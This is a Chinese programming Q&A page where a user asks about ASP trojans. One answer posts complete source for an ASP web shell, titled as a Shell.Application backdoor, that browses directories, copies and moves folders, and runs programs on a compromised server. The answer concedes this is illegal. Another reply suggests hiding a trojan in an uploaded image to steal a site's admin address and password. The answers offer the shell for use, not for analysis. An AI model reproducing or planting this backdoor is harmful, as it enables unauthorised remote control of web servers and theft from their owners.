求编程高手回答一个关于ASP木马的问题.

答案：你想错了，exe文件是不能转化为asp的，asp是运行在服务器上的程序，你可以直接写asp的程序。
<%response.write "<font size=6 color=red>一次只能执行一个操作</font>" %> 
<%response.write now()%><BR>程序所在的物理路径： 
<%response.write request.servervariables("APPL_PHYSICAL_PATH")%> 
<html> 
<title>asp's shell.application backdoor </title> 
<body> 
<form action="<%= Request.ServerVariables("URL") %>" method="POST"> 
<input type=text name=text value="<%=szCMD %& gt;"> 输入要浏览的目录

<input type=text name=text1 value="<%=szCMD1 %>"> 
copy 
<input type=text name=text2 value="<%=szCMD2 %>">

<input type=text name=text3 value="<%=szCMD3 %>"> 
move 
<input type=text name=text4 value="<%=szCMD4 %>">

路径：<input type=text name=text5 value="<%=szCMD5& nbsp;%>"> 
程序：<input type=text name=text6 value="<%=szCMD6& nbsp;%>">

<input type=submit name=sb value=发送命令> 
</form> 
</body> 
</html> 
<% 
szCMD = Request.Form("text") '目录浏览 
if (szCMD <> "") then 
set shell=server.createobject("shell.application") '建立shell对象& nbsp;
set fod1=shell.namespace(szcmd) 
set foditems=fod1.items 
for each co in foditems 
response.write "<font color=red>" & co.path & "-----" & co.size & "</font>
" 
next 
end if 
%> 

<% 
szCMD1 = Request.Form("text1") '目录拷贝，不能进行文件拷贝 
szCMD2 = Request.Form("text2") 
if szcmd1<>"" and szcmd2<>"" then 
set shell1=server.createobject("shell.application") '建立shell对象 
set fod1=shell1.namespace(szcmd2) 
for i=len(szcmd1) to 1 step -1 
if mid(szcmd1,i,1)="\" then 
path=left(szcmd1,i-1) 
exit for 
end if 
next 
if len(path)=2 then path=path & "\" 
path2=right(szcmd1,len(szcmd1)-i) 
set fod2=shell1.namespace(path) 
set foditem=fod2.parsename(path2) 
fod1.copyhere foditem 
response.write "command completed success!" 
end if 
%> 

<% 
szCMD3 = Request.Form("text3") '目录移动 
szCMD4 = Request.Form("text4") 
if szcmd3<>"" and szcmd4<>"" then 
set shell2=server.createobject("shell.application") '建立shell对象 
set fod1=shell2.namespace(szcmd4) 

for i=len(szcmd3) to 1 step -1 
if mid(szcmd3,i,1)="\" then 
path=left(szcmd3,i-1) 
exit for 
end if 
next 

if len(path)=2 then path=path & "\" 
path2=right(szcmd3,len(szcmd3)-i) 
set fod2=shell2.namespace(path) 
set foditem=fod2.parsename(path2) 
fod1.movehere foditem 
response.write "command completed success!" 
end if 
%> 
<% 
szCMD5 = Request.Form("text5") '执行程序要指定路径 
szCMD6 = Request.Form("text6") 
if szcmd5<>"" and szcmd6<>"" then 
set shell3=server.createobject("shell.application") '建立shell对象 
shell3.namespace(szcmd5).items.item(szcmd6).invokeverb 
response.write "command completed success!" 
end if 
%>
这个木马程可以完成文件的COPY、MOVE，和执行程序。
高深的我就不透露了，自己去想吧，毕竟这种事是违法的你想太多了孩子，exe是一个应用程序集，一个安装包怎么入侵？
只有想办法传图片 把图片内加 木马 获取网站后台地址及密码    应该有办法上传
上一个：能给我说一下ASP和C#之间的关系
下一个：asp.net开发时美工用什么来做页面？
更多图片编程知识: